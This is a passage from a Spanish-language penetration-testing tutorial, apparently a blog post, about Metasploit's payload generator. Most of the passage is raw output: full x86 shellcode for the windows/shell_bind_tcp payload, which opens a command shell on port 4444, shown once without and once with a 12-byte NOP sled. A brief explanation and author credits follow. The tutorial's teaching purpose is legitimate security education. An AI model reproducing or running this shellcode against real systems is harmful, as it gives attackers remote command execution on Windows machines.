"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" +
"\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" +
"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b" +
"\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40\x50\x68" +
"\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89\xe6" +
"\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7" +
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57" +
"\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89" +
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7" +
"\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50" +
"\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f" +
"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d" +
"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff" +
"\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" +
"\x6f\x6a\x00\x53\xff\xd5"
msf payload(windows/shell_bind_tcp) >
msf payload(windows/shell_bind_tcp) > generate -s 12
# windows/shell_bind_tcp - 340 bytes
# http://www.metasploit.com
# NOP gen: x86/single_byte
# VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false, 
# EXITFUNC=process
buf = 
"\x1e\x91\x53\x91\x4d\xf8\x43\xf9\x91\x9f\x91\x1e\xfc\xe8" +
"\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b" +
"\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" +
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2" +
"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48" +
"\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49" +
"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38" +
"\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58" +
"\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04" +
"\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" +
"\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00" +
"\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" +
"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff" +
"\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40\x50\x68\xea\x0f" +
"\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10" +
"\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7\xe9\x38" +
"\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68" +
"\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57" +
"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24" +
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56" +
"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff" +
"\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff" +
"\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c" +
"\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" +
"\x00\x53\xff\xd5"
msf payload(windows/shell_bind_tcp) 

Las líneas resaltadas muestran cómo el NOP Sled es añadido al inicio del Payload. Comparando las tres líneas siguientes son exactamente iguales y el tamaño aumentó cómo era de esperarse, 12 bytes exactamente.

Autor: Edu4rdSHL

Síguenos en Facebook, Twitter, unete a nuestra charla en Riot, únete a IRC o únete a Telegram y no olvides compartirnos en las redes sociales. También puede hacernos una donación..

Acerca del autor

Fredy Yesid Avila - Ingeniero de Sistemas, CEH - ECSA.

@fredyavila